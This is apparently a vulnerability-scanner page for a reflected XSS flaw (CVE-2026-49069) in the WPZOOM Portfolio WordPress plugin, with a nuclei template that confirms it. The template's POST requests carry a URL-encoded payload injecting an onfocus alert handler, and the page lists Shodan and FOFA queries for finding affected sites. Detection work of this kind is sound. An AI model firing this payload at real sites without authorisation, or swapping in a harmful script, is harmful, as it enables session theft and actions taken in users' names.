WPZOOM Portfolio <= 1.4.21 - Reflected Cross-Site Scripting

highseverity

7.1CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

WPZOOM Portfolio <= 1.4.21 contains a reflected XSS caused by improper neutralization of input during web page generation, letting attackers execute scripts in victim's browser, exploit requires crafted request.

Impact

Attackers can execute scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.

Fix

Update to the latest version of WPZOOM Portfolio.

How to confirm it

Send: GET /
Positive when: contains(body, "wpzoom-portfolio") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "onfocus='alert(document.domain)'" and "wpzoom-ajax-portfolio-items"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "onfocus='alert(document.domain)'" and "wpzoom-ajax-portfolio-items"

Run it with nuclei: nuclei -id CVE-2026-49069 -u <target>

The full check

id: CVE-2026-49069

info:
  name: WPZOOM Portfolio <= 1.4.21 - Reflected Cross-Site Scripting
  author: aryu-ru
  severity: high
  description: |
    WPZOOM Portfolio <= 1.4.21 contains a reflected XSS caused by improper neutralization of input during web page generation, letting attackers execute scripts in victim's browser, exploit requires crafted request.
  impact: |
    Attackers can execute scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.
  remediation: |
    Update to the latest version of WPZOOM Portfolio.
  reference:
    - https://patchstack.com/database/wordpress/plugin/wpzoom-portfolio/vulnerability/wordpress-wpzoom-portfolio-plugin-1-4-21-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://www.exploit-db.com/exploits/52611
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49069
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-49069
    epss-score: 0.01166
    epss-percentile: 0.67581
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: wpzoom
    product: wpzoom-portfolio
    shodan-query: http.html:"/wp-content/plugins/wpzoom-portfolio"
    fofa-query: body="/wp-content/plugins/wpzoom-portfolio"
  tags: cve,cve2026,wordpress,wp,wp-plugin,wpzoom,xss,unauth

variables:
  marker: "{{randstr}}"

flow: http(1) && (http(2) || http(3))

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - contains(body, "wpzoom-portfolio")
          - status_code == 200
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpzoom_load_more_items&offset=0&posts_data=%7B%22source%22%3A%22post%22%2C%22class%22%3A%22{{marker}}%27%20onfocus%3D%27alert(document.domain)%27%20autofocus%3D%27%22%7D

    matchers:
      - type: word
        part: body
        words:
          - "onfocus='alert(document.domain)'"
          - "wpzoom-ajax-portfolio-items"
        condition: and

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpzoom_load_more_items&offset=0&posts_data=%7B%22source%22%3A%22portfolio_item%22%2C%22class%22%3A%22{{marker}}%27%20onfocus%3D%27alert(document.domain)%27%20autofocus%3D%27%22%7D

    matchers:
      - type: word
        part: body
        words:
          - "onfocus='alert(document.domain)'"
          - "wpzoom-ajax-portfolio-items"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from